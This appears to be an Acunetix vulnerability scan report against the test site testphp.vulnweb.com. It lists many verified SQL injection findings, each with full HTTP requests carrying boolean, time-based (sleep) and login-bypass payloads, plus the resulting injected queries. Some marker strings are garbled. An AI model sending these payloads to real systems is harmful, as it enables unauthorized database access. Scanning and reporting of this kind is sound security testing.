Tests performed:

- $1*1 \Rightarrow$ **TRUE**
- $1*360*355*0 \Rightarrow$ **FALSE**
- $(366-360-5) \Rightarrow$ **TRUE**
- $1/1 \Rightarrow$ **TRUE**
- $1/0 \Rightarrow$ **FALSE**
- $1/(3*2-5) \Rightarrow$ **TRUE**
- $1 \text{ AND } 5*4=20 \text{ AND } 360=360 \Rightarrow$ **TRUE**
- $1 \text{ AND } 5*4=21 \text{ AND } 360=360 \Rightarrow$ **FALSE**
- $1 \text{ AND } 5*6<26 \text{ AND } 360=360 \Rightarrow$ **FALSE**
- $1 \text{ AND } 7*7>48 \text{ AND } 360=360 \Rightarrow$ **TRUE**
- $1 \text{ AND } 3*2*0=6 \text{ AND } 360=360 \Rightarrow$ **FALSE**
- $1 \text{ AND } 3*2*1=6 \text{ AND } 360=360 \Rightarrow$ **TRUE**

Original value: **1**

Proof of Exploit

SQL query - SELECT database()

acuart

Request headers

GET /AJAX/infoartist.php?id=1%20AND%203*2*1=6%20AND%20360=360 HTTP/1.1

X-Requested-With: XMLHttpRequest

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest;mycookie=3

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive

/AJAX/infocateg.php

Verified vulnerability

Details

URL encoded GET input id was set to **1 AND 3*2*1=6 AND 876=876**

Tests performed:

- $1*1 \Rightarrow$ **TRUE**
- $1*876*871*0 \Rightarrow$ **FALSE**
- $(882-876-5) \Rightarrow$ **TRUE**
- $1/1 \Rightarrow$ **TRUE**
- $1/0 \Rightarrow$ **FALSE**
- $1/(3*2-5) \Rightarrow$ **TRUE**
- $1 \text{ AND } 5*4=20 \text{ AND } 876=876 \Rightarrow$ **TRUE**
- $1 \text{ AND } 5*4=21 \text{ AND } 876=876 \Rightarrow$ **FALSE**
- $1 \text{ AND } 5*6<26 \text{ AND } 876=876 \Rightarrow$ **FALSE**
- $1 \text{ AND } 7*7>48 \text{ AND } 876=876 \Rightarrow$ **TRUE**
- $1 \text{ AND } 3*2*0=6 \text{ AND } 876=876 \Rightarrow$ **FALSE**
- $1 \text{ AND } 3*2*1=6 \text{ AND } 876=876 \Rightarrow$ **TRUE**

Original value: **1**

Proof of Exploit

SQL query - SELECT database()

acuart

Request headers

GET /AJAX/infocateg.php?id=1%20AND%203*2*1=6%20AND%20876=876 HTTP/1.1

X-Requested-With: XMLHttpRequest

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest;mycookie=3

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive

/AJAX/infotitle.php

Verified vulnerability

Details

URL encoded POST input **id** was set to **1 AND 3*2*1=6 AND 130=130**

Tests performed:

- $1*1 \Rightarrow$ **TRUE**
- $1*130*125*0 \Rightarrow$ **FALSE**
- $(136-130-5) \Rightarrow$ **TRUE**
- $1/1 \Rightarrow$ **TRUE**
- $1/0 \Rightarrow$ **FALSE**
- $1/(3*2-5) \Rightarrow$ **TRUE**
- $1 \text{ AND } 5*4=20 \text{ AND } 130=130 \Rightarrow$ **TRUE**
- $1 \text{ AND } 5*4=21 \text{ AND } 130=130 \Rightarrow$ **FALSE**
- $1 \text{ AND } 5*6<26 \text{ AND } 130=130 \Rightarrow$ **FALSE**
- $1 \text{ AND } 7*7>48 \text{ AND } 130=130 \Rightarrow$ **TRUE**
- $1 \text{ AND } 3*2*0=6 \text{ AND } 130=130 \Rightarrow$ **FALSE**
- $1 \text{ AND } 3*2*1=6 \text{ AND } 130=130 \Rightarrow$ **TRUE**

Original value: **1**

Proof of Exploit

SQL query - SELECT database()

acuart

Request headers

POST /AJAX/infotitle.php HTTP/1.1

Content-Type: application/x-www-form-urlencoded

X-Requested-With: XMLHttpRequest

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest;mycookie=3

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Content-Length: 36

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive

id=1%20AND%203*2*1=6%20AND%20130=130

/artists.php

Verified vulnerability

Details

URL encoded GET input **artist** was set to **1ACU\$TART""wEIGoACUEND**

Request headers

GET /artists.php?artist=1ACU**START**'"wElGoACU**END** HTTP/1.1

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: filelist;aspectalerts

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive

Source file: /hj/var/www/artists.php, line: 61

Additional details

SQL query: SELECT * FROM artists WHERE artist_id=1ACU**START**'"wElGoACU**END**

"mysql_query" was called.

/artists.php

Verified vulnerability

Details

Cookie input **login** was set to **1ACU**START**"Bsd**FTACU**END******

Request headers

GET /artists.php HTTP/1.1

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: filelist;aspectalerts

Referer: https://www.google.com/search?hl=en&q=testing

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Cookie: login=1ACUSTART'"BsdfTACUEND

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

Connection: Keep-alive

Source file: /hj/var/www//artists.php, line: 44

Additional details

SQL query: SELECT * FROM users WHERE uname='1ACUSTART'"BsdfTACUEND' AND pass=''

"mysql_query" was called.

/cart.php

Verified vulnerability

Details

URL encoded POST input **addcart** was set to **1ACUSTART'"LfRpBACUEND**

Request headers

POST /cart.php HTTP/1.1

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: filelist;aspectalerts

Content-Type: application/x-www-form-urlencoded

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Content-Length: 40

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive

addcart=1ACU**START**'"LfrpBACU**END**&price=500

Source file: /hj/var/www//cart.php, line: 81

Additional details

SQL query: SELECT * FROM carts WHERE cart_id='b81fdb9b88459aa0e1cac57075e0458a' AND item=1ACU**START**'"LfrpBACU**END**

"mysql_query" was called.

/cart.php

Verified vulnerability

Details

URL encoded GET input **del** was set to **1ACU**START**'"sbNCzACU**END****

Request headers

GET /cart.php?del=1ACU**START**'"sbNCzACUEND HTTP/1.1

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: filelist;aspectalerts

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive

Source file: /hj/var/www//cart.php, line: 86

Additional details

SQL query: DELETE FROM CARTS WHERE item=1ACU**START**'"sbNCzACUEND AND cart_id='b81fdb9b88459aa0e1cac57075e0458a'

"mysql_query" was called.

/cart.php

Verified vulnerability

Details

Cookie input **login** was set to **1ACU**START**'"uxXy4ACUEND**

Request headers

GET /cart.php HTTP/1.1

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: filelist;aspectalerts

Referer: https://www.google.com/search?hl=en&q=testing

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Cookie: login=1ACUSTART'"uxXy4ACUEND

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

Connection: Keep-alive

Source file: /hj/var/www//cart.php, line: 44

Additional details

SQL query: SELECT * FROM users WHERE uname='1ACUSTART'"uxXy4ACUEND' AND pass=''

"mysql_query" was called.

/cart.php

Details

URL encoded POST input **price** was set to **if(now())=sysdate(),sleep(6),0)**

Tests performed:

- if(now())=sysdate(),sleep(15),0) => **15.136**
- if(now())=sysdate(),sleep(3),0) => **3.145**
- if(now())=sysdate(),sleep(6),0) => **6.156**
- if(now())=sysdate(),sleep(0),0) => **0.157**
- if(now())=sysdate(),sleep(15),0) => **15.153**
- if(now())=sysdate(),sleep(0),0) => **0.134**
- if(now())=sysdate(),sleep(6),0) => **6.149**

Original value: **500**

Request headers

POST /cart.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Referer: http://testphp.vulnweb.com/
Cookie: login=test%2Ftest
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate
Content-Length: 50
Host: testphp.vulnweb.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0
Connection: Keep-alive

addcart=1&price=if(now()=sysdate())%2Csleep(6)%2C0)

/guestbook.php

Verified vulnerability

Details

Cookie input **login** was set to **1ACUSTART'"sgruDACUEND**

Request headers

GET /guestbook.php HTTP/1.1
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c
Acunetix-Aspect-Queries: filelist;aspectalerts
Referer: https://www.google.com/search?hl=en&q=testing
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0
Cookie: login=1ACUSTART'"sgruDACUEND
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate
Host: testphp.vulnweb.com
Connection: Keep-alive

Source file: /hj/var/www/guestbook.php, line: 49

Additional details

SQL query: SELECT * FROM users WHERE uname='1ACUSTART'"sgruDACUEND' AND pass=''

"mysql_query" was called.

/listproducts.php

Verified vulnerability

Details

URL encoded GET input **artist** was set to **1ACUSTART'"PA09UACUEND**

Request headers

GET /listproducts.php?artist=1ACUSTART'"PA09UACUEND HTTP/1.1

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: filelist;aspectalerts

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive

Source file: /hj/var/www//listproducts.php, line: 67

Additional details

SQL query: SELECT a.*, b.aname, b.artist_id, c.cname FROM pictures a, artists b, categ c WHERE a.cat_id=c.cat_id AND a.a_id=b.artist_id AND a.a_id=1ACUSTART'"PA09UACUEND

"mysql_query" was called.

/listproducts.php

Verified vulnerability

Details

URL encoded GET input **cat** was set to **1ACUSTART'"4exg5ACUEND**

Request headers

GET /listproducts.php?cat=1ACUSTART'"4exg5ACUEND HTTP/1.1

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: filelist;aspectalerts

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive

Source file: /hj/var/www//listproducts.php, line: 61

Additional details

SQL query: SELECT a.*, b.aname, b.artist_id, c.cname FROM pictures a, artists b, categ c WHERE a.cat_id=c.cat_id AND a.a_id=b.artist_id AND a.cat_id=1ACUSTART'"4exg5ACUEND

"mysql_query" was called.

/listproducts.php

Verified vulnerability

Details

Cookie input **login** was set to **1ACUSTART'"qmuLUACUEND**

Request headers

GET /listproducts.php HTTP/1.1

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: filelist;aspectalerts

Referer: https://www.google.com/search?hl=en&q=testing

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Cookie: login=1ACUSTART'"qmuLUACUEND

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

Connection: Keep-alive

Source file: /hj/var/www//listproducts.php, line: 43

Additional details

SQL query: SELECT * FROM users WHERE uname='1ACUSTART'"qmuLUACUEND' AND pass=''

"mysql_query" was called.

/Mod_Rewrite_Shop/BuyProduct-3/

Verified vulnerability

Details

Request headers

GET /Mod_Rewrite_Shop/BuyProduct-3/?id=1ACUSTART'"ACUEND HTTP/1.1

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: filelist;aspectalerts

User-Agent: 1'"2000

referer: 1'"3000

client-ip: 1'"4000

x-forwarded-for: 1'"5000

accept-language: 1'"6000

via: 1'"7000

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

Connection: Keep-alive

Source file: /hj/var/www//Mod_Rewrite_Shop/buy.php, line: 6

Additional details

SQL query: SELECT * from products where id=1ACUSTART'"ACUEND

"mysql_query" was called.

Stack trace:

1. ProcessID([string] "1ACUSTART'"ACUEND")

/Mod_Rewrite_Shop/Details/color-printer/3/

Verified vulnerability

Details

Request headers

GET /Mod_Rewrite_Shop/Details/color-printer/3/?id=1ACUSTART'"ACUEND HTTP/1.1

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: filelist;aspectalerts

User-Agent: 1'"2000

referer: 1'"3000

client-ip: 1'"4000

x-forwarded-for: 1'"5000

accept-language: 1'"6000

via: 1'"7000

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

Connection: Keep-alive

Source file: /hj/var/www//Mod_Rewrite_Shop/details.php, line: 4

Additional details

SQL query: SELECT * from products where id=1ACUSTART'"ACUEND

"mysql_query" was called.

/Mod_Rewrite_Shop/Details/network-attached-storage-dlink/1/

Verified vulnerability

Details

Request headers

GET /Mod_Rewrite_Shop/Details/network-attached-storage-dlink/1/?id=1ACUSTART'"ACUEND
HTTP/1.1

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: filelist;aspectalerts

User-Agent: 1'"2000

referer: 1'"3000

client-ip: 1'"4000

x-forwarded-for: 1'"5000

accept-language: 1'"6000

via: 1'"7000

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

Connection: Keep-alive

Source file: /hj/var/www//Mod_Rewrite_Shop/details.php, line: 4

Additional details

SQL query: SELECT * from products where id=1ACUSTART'"ACUEND

"mysql_query" was called.

/Mod_Rewrite_Shop/Details/web-camera-a4tech/2/

Verified vulnerability

Details

Request headers

GET /Mod_Rewrite_Shop/Details/web-camera-a4tech/2/?id=1ACUSTART'"ACUEND HTTP/1.1

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: filelist;aspectalerts

User-Agent: 1'"2000

referer: 1'"3000

client-ip: 1'"4000

x-forwarded-for: 1'"5000

accept-language: 1'"6000

via: 1'"7000

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

Connection: Keep-alive

Source file: /hj/var/www//Mod_Rewrite_Shop/details.php, line: 4

Additional details

SQL query: SELECT * from products where id=1ACUSTART'"ACUEND

"mysql_query" was called.

/product.php

Verified vulnerability

Details

Cookie input **login** was set to **1ACUSTART'"2hLJVACUEND**

Request headers

GET /product.php HTTP/1.1

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: filelist;aspectalerts

Referer: https://www.google.com/search?hl=en&q=testing

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Cookie: login=1ACUSTART'"2hLJVACUEND

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

Connection: Keep-alive

Source file: /hj/var/www//product.php, line: 51

Additional details

SQL query: SELECT * FROM users WHERE uname='1ACUSTART'"2hLJVACUEND' AND pass=''

"mysql_query" was called.

/product.php

Verified vulnerability

Details

URL encoded GET input **pic** was set to **1ACUSTART'"HdhEDACUEND**

Request headers

GET /product.php?pic=1ACUSTART'"HdhEDACUEND HTTP/1.1

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: filelist;aspectalerts

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive

Source file: /hj/var/www//product.php, line: 68

Additional details

SQL query: SELECT a.*, b.aname, b.artist_id, c.cname FROM pictures a, artists b, categ c WHERE a.cat_id=c.cat_id AND a.a_id=b.artist_id AND a.pic_id=1ACUSTART'"HdhEDACUEND

"mysql_query" was called.

/search.php

Verified vulnerability

Details

Cookie input **login** was set to **1ACUSTART'"9rELNACUEND**

Request headers

GET /search.php HTTP/1.1

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: filelist;aspectalerts

Referer: https://www.google.com/search?hl=en&q=testing

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Cookie: login=1ACUSTART'"9rELNACUEND

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

Connection: Keep-alive

Source file: /hj/var/www//search.php, line: 44

Additional details

SQL query: SELECT * FROM users WHERE uname='1ACUSTART'"9rELNACUEND' AND pass=''

"mysql_query" was called.

/search.php

Verified vulnerability

Details

URL encoded POST input **searchFor** was set to **1ACUSTART'"9BDCVACUEND**

Request headers

POST /search.php?test=query HTTP/1.1

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: filelist;aspectalerts

Content-Type: application/x-www-form-urlencoded

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Content-Length: 44

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive

goButton=go&searchFor=1ACU**START**'"9BDCVACU**END**

Source file: /hj/var/www//search.php, line: 70

Additional details

SQL query:

```
SELECT a.*, b.aname, b.artist_id, c.cname
```

```
FROM pictures a, artists b, categ c
```

```
WHERE a.cat_id=c.cat_id AND a.a_id=b.artist_id AND (LOCATE('1ACUSTART'"9BDCVACUEND',  
a.title) > 0 OR LOCATE('1ACUSTART'"9BDCVACUEND', a.pshort) > 0)
```

"mysql_query" was called.

/search.php

Verified vulnerability

Details

URL encoded GET input **test** was set to **1ACU**START**'"2qdb**eACU**END******

Request headers

POST /search.php?test=1ACUSTART'"2qdbeACUEND HTTP/1.1

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: filelist;aspectalerts

Content-Type: application/x-www-form-urlencoded

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Content-Length: 25

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive

goButton=go&searchFor=the

Source file: /hj/var/www//search.php, line: 60

Additional details

SQL query: SELECT * FROM guestbook WHERE sender='1ACUSTART'"2qdbeACUEND';

"mysql_query" was called.

/secured/newuser.php

Verified vulnerability

Details

URL encoded POST input **uname** was set to **1ACUSTART'"dU78RACUEND**

Request headers

POST /secured/newuser.php HTTP/1.1

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: filelist;aspectalerts

Content-Type: application/x-www-form-urlencoded

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Content-Length: 205

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive

signup=signup&uaddress=3137%20Laguna%20Street&ucc=4111111111111111&uemail=sample%40email.tst&upass=g00dPa%24%24w0rD&upass2=g00dPa%24%24w0rD&uphone=555-666-0606&urname=ghovjnjv&uuname=1ACUSTART'"dU78RACUEND

Source file: /hj/var/www/secured/newuser.php, line: 16

Additional details

SQL query: SELECT * FROM users WHERE uname='1ACUSTART'"dU78RACUEND'

"mysql_query" was called.

/sendcommand.php

Verified vulnerability

Details

URL encoded POST input **cart_id** was set to **1ACUSTART'"9YkyyACUEND**

Request headers

POST /sendcommand.php HTTP/1.1

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: filelist;aspectalerts

Content-Type: application/x-www-form-urlencoded

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Content-Length: 83

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive

cart_id=1ACU**START**'"9YkyyACU**END**&submitForm=place%20a%20command%20for%20these%20items

Source file: /hj/var/www//sendcommand.php, line: 17

Additional details

SQL query: DELETE FROM carts WHERE cart_id='1ACU**START**'"9YkyyACU**END**'

"mysql_query" was called.

/userinfo.php

Verified vulnerability

Details

Cookie input **login** was set to **1ACU**START**'"CmIXxACU**END****

Request headers

GET /userinfo.php HTTP/1.1

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: filelist;aspectalerts

Referer: https://www.google.com/search?hl=en&q=testing

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Cookie: login=1ACUSTART'"CmlXxACUEND

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

Connection: Keep-alive

Source file: /hj/var/www//userinfo.php, line: 46

Additional details

SQL query: SELECT * FROM users WHERE uname='1ACUSTART'"CmlXxACUEND' AND pass=''

"mysql_query" was called.

/userinfo.php

Verified vulnerability

Details

URL encoded POST input **pass** was set to **-1' OR 3*2*1=6 AND 000591=000591 --**

Tests performed:

- -1' OR 2+591-591-1=0+0+0+1 -- => **TRUE**
- -1' OR 3+591-591-1=0+0+0+1 -- => **FALSE**
- -1' OR 3*2<(0+5+591-591) -- => **FALSE**
- -1' OR 3*2>(0+5+591-591) -- => **FALSE**
- -1' OR 2+1-1+1=1 AND 000591=000591 -- => **FALSE**
- -1' OR 3*2=5 AND 000591=000591 -- => **FALSE**
- -1' OR 3*2=6 AND 000591=000591 -- => **TRUE**
- -1' OR 3*2*0=6 AND 000591=000591 -- => **FALSE**
- -1' OR 3*2*1=6 AND 000591=000591 -- => **TRUE**

Original value: 1

Proof of Exploit

SQL query - SELECT database()

acuart

Request headers

POST /userinfo.php HTTP/1.1

Content-Type: application/x-www-form-urlencoded

X-Requested-With: XMLHttpRequest

Referer: http://testphp.vulnweb.com/

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Content-Length: 61

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive

pass=-1'%20OR%203*2*1=6%20AND%20000591=000591%20--%20&uname=1

/userinfo.php

Verified vulnerability

Details

URL encoded POST input **pass** was set to **1ACUSTART'"P6BeeACUEND**

Request headers

POST /userinfo.php HTTP/1.1

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: filelist;aspectalerts

Content-Type: application/x-www-form-urlencoded

Referer: http://testphp.vulnweb.com/

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Content-Length: 42

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive

pass=1ACUSTART'"P6BeeACUEND&uname=ghovjnjv

Source file: /hj/var/www/userinfo.php, line: 8

Additional details

SQL query: SELECT * FROM users WHERE uname='ghovjnjv' AND pass='1ACUSTART'"P6BeeACUEND'
"mysql_query" was called.

/userinfo.php

Verified vulnerability

Details

URL encoded POST input **uaddress** was set to **1ACUSTART'"oDADGACUEND**

Request headers

```
POST /userinfo.php HTTP/1.1
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c
Acunetix-Aspect-Queries: filelist;aspectalerts
Content-Type: application/x-www-form-urlencoded
Referer: http://testphp.vulnweb.com/
Cookie: login=test%2Ftest
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate
Content-Length: 111
Host: testphp.vulnweb.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0
Connection: Keep-alive

uaddress=1ACUSTART'"oDADGACUEND&ucc=777&uemail=matheusdaocu%40gmail.com&update=update&uphone=%2B555%206666666666
```

Source file: /hj/var/www//userinfo.php, line: 32

Additional details

```
SQL query:
UPDATE users
SET
name = '',
cc = '777',
address = '1ACUSTART'"oDADGACUEND',
email = 'matheusdaocu@gmail.com',
phone = '+555 6666666666'
WHERE
uname = 'test'
```

"mysql_query" was called.

/userinfo.php

Verified vulnerability

Details

URL encoded POST input **uaddress** was set to **1ACUSTART""qFHL3ACUEND**

Request headers

POST /userinfo.php HTTP/1.1

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: filelist;aspectalerts

Content-Type: application/x-www-form-urlencoded

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Content-Length: 127

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive

```
uaddress=1ACUSTART""qFHL3ACUEND&ucc=777&uemail=matheusdaocu%40gmail.com&update=update&uphone=%2B555%206666666666&urname=ghovjnjv
```

Source file: /hj/var/www//userinfo.php, line: 32

Additional details

SQL query:

```
UPDATE users
```

```
SET
```

```
name = 'ghovjnjv',
```

```
cc = '777',
```

```
address = '1ACUSTART""qFHL3ACUEND',
```

```
email = 'matheusdaocu@gmail.com',
```

```
phone = '+555 666666666'
```

```
WHERE
```

```
uname = 'test'
```

"mysql_query" was called.

/userinfo.php

Verified vulnerability

Details

URL encoded POST input **ucc** was set to **(select(0)from(select(sleep(6)))v)/*'+(select(0)from(select(sleep(6)))v)+''+(select(0)from(select(sleep(6)))v)/*'/**

Tests performed:

- (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+''+(select(0)from(select(sleep(15)))v)/*'/ => **15.144**
